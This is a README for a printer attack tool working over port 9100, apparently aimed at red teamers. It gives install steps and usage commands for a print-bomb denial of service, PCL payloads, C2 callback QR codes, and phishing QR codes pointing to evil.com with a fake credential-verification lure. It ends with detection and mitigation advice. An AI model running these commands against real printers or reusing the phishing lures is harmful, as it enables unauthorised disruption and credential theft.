📋 Overview

PrintHack is a sophisticated printer exploitation tool designed for security professionals, red teamers, and penetration testers. This tool leverages the raw printer spooling protocol (Port 9100) to perform security assessments, test printer vulnerabilities, and simulate real-world attack scenarios.

⚠️ DISCLAIMER: This tool is intended for legitimate security testing and educational purposes only. Use responsibly and only on systems you own or have explicit authorization to test.

🎯 Features

Core Capabilities

• 🔌 Raw Socket Printing - Direct communication with printers via Port 9100
• 📄 PCL Payload Delivery - Send Printer Command Language payloads
• 🖼️ Image Exfiltration Markers - Print images as ASCII art for covert channels
• 💣 Print Bomb (DoS) - Send massive payloads to test printer resilience
• 🎯 Mass Printing - Target multiple printers simultaneously
• 🔴 Red Team Operations - C2 callback markers, phishing QR codes, exfiltration markers

Attack Vectors

🚀 Quick Start

Installation

git clone https://github.com/AzhariRamadhan/CVE-PORT-9100.git
cd CVE-PORT-9100
pip install -r requirements.txt

Requirements

• Python 3.6+
• Pillow - Image processing
• qrcode - QR code generation
• requests - HTTP requests

pip install Pillow qrcode requests

🛠️ Usage

Basic Operations

# Test printer connectivity
python3 printerhack.py -t 192.168.1.100 --check

# Send test page
python3 printerhack.py -t 192.168.1.100 --test

# Print custom message
python3 printerhack.py -t 192.168.1.100 -m "Hello from Red Team!"

Advanced Operations

# Print image from URL (converted to ASCII)
python3 printerhack.py -t 192.168.1.100 -i http://example.com/image.png

# Send PCL payload
python3 printerhack.py -t 192.168.1.100 --pcl

# Print bomb (DoS - 10MB)
python3 printerhack.py -t 192.168.1.100 --bomb 10

# Print C2 callback QR code
python3 printerhack.py -t 192.168.1.100 --c2 "http://c2-server:8080/beacon"

# Print phishing QR code
python3 printerhack.py -t 192.168.1.100 --phish "http://evil.com/login" "URGENT: Verify your credentials"

Mass Printing

# Print to multiple printers from file
echo -e "192.168.1.100\n192.168.1.101\n192.168.1.102" > targets.txt
python3 printerhack.py -f targets.txt -m "Security Test Message"

🎖️ Red Team Use Cases

1. Physical Access Simulation

Print covert messages or instructions to compromised printers in physical access scenarios.

2. Social Engineering

Print QR codes linking to credential harvesting pages disguised as security notices.

3. Data Exfiltration

Use printer output as a covert exfiltration channel for encoded data.

4. DoS Testing

Test organizational resilience against printer-based denial of service attacks.

5. Network Reconnaissance

Enumerate and identify printers across the network.

🔒 Detection & Mitigation

For Blue Teams

Detection Indicators:

• Unusual traffic on port 9100
• Large unexpected print jobs
• Print jobs with embedded QR codes or barcodes
• Repeated failed print attempts

Mitigation Strategies:

• Implement printer authentication (IPP Everywhere, SMB signing)
• Monitor printer logs for anomalous jobs
• Segment printers on separate VLANs
• Deploy printer security appliances
• Regular security assessments of print infrastructure
